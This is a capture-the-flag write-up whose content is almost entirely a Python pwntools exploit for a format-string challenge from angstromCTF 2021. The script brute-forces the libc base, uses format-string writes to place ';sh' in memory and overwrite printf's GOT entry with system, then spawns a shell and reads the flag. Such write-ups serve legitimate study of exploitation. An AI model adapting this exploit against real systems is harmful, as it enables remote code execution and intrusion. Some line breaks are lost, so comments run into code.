This challenge was a very restricted format string.
Nobodyisnobody for RootMeUpBeforeYouGoGo
```from pwn import *
context.log_level = 'error'
host, port = "pwn.2021.chall.actf.co", "21800"
printf_got = 0x404030user_buff = 0x4040E0
def tohex(val, nbits):  return hex((val + (1 << nbits)) % (1 << nbits))
# first we bruteforce libc_base to have (mask 0xf000)  to zero, to be able to change printf to systemwhile True:  p = remote(host, port)  p.sendlineafter('stonks!\n', '1')  # put ret_main address value on stack (reachable at offset 73 from fsb)  p.sendlineafter('see?\n', '73')  # overwrite _ret_main_address to return to main & dump a libc address at the same time  payload = 'y'*120+'%73$hhn'+'%*\n'*2  payload += (300-len(payload))*'y'  p.sendlineafter('token?\n', payload)  p.readuntil('%')  leak = int(p.readuntil('\n', drop=True),10) - 0x1e4743  print('libc base = '+tohex(leak, 32))  if (leak & 0xf000):   print('libc base NOT GOOD continuing bruteforce...')   p.close()  else:   break
print('libc base is GOOD continuing with fsb kungfu...(be patient)..')
# various primitives we need to write address with fsbdef writeaddress(address):  p.sendlineafter('stonks!\n', '1')  p.sendlineafter('see?\n', '73')  payload = 'y'*120+ '%73$hhn' + '%'+str(address-120)+'c' + '%52$n'+'yzyz'  p.sendlineafter('token?\n', payload)  p.recvuntil('yzyz',drop=True)
def writewordaddress(address):  p.sendlineafter('stonks!\n', '1')  p.sendlineafter('see?\n', '73')  payload = 'y'*120+ '%73$hhn' + '%'+str(address-120)+'c' + '%52$hn'+'yzyz'  p.sendlineafter('token?\n', payload)  p.recvuntil('yzyz',drop=True)
def writebyteaddress(val):  p.sendlineafter('stonks!\n', '1')  p.sendlineafter('see?\n', '73')  if (val>120):    payload = 'y'*120+ '%73$hhn' + '%'+str(val-120)+'c' + '%52$hhnyz'  else:    payload = 'y'*120+ '%73$hhn' + '%'+str(val+136)+'c' + '%52$hhnyz'  p.sendlineafter('token?\n', payload)  p.recvuntil('yz',drop=True)
def writebyte(val):  p.sendlineafter('stonks!\n', '1')  p.sendlineafter('see?\n', '73')  if (val>120):    payload = 'y'*120+ '%73$hhn' + '%'+str(val-120)+'c' + '%54$hhnyz'  else:    payload = 'y'*120+ '%73$hhn' + '%'+str(val+136)+'c' + '%54$hhnyz'  p.sendlineafter('token?\n', payload)  p.recvuntil('yz',drop=True)
def writeword(val):  p.sendlineafter('stonks!\n', '1')  p.sendlineafter('see?\n', '73')  if (val>120):    payload = 'y'*120+ '%73$hhn' + '%'+str(val-120)+'c' + '%54$hnyz'  else:    payload = 'y'*120+ '%73$hhn' + '%'+str(val+136)+'c' + '%54$hnyz'  p.sendlineafter('token?\n', payload)  p.recvuntil('yz',drop=True)
# first we write ';sh' just after user bufferwriteaddress(user_buff+300)print('writing 1st byte')writebyte(ord(';'))writebyteaddress(0x0d)print('writing 2nd byte')writebyte(ord('s'))writebyteaddress(0x0e)print('writing 3rd byte')writebyte(ord('h'))writewordaddress(printf_got & 0xffff)
# system low address low = leak + 0x503c0# overwrite printf got with system addressprint('overwriting printf got')writeword(low & 0xffff)
# send 300*'A' will be followed by ';sh' to systemp.sendlineafter('stonks!\n', '1')p.sendlineafter('see?\n', '73')p.sendafter('token?\n', 'y'*300)# we got shellp.sendline('id')p.sendline('cat flag*')
p.interactive()
```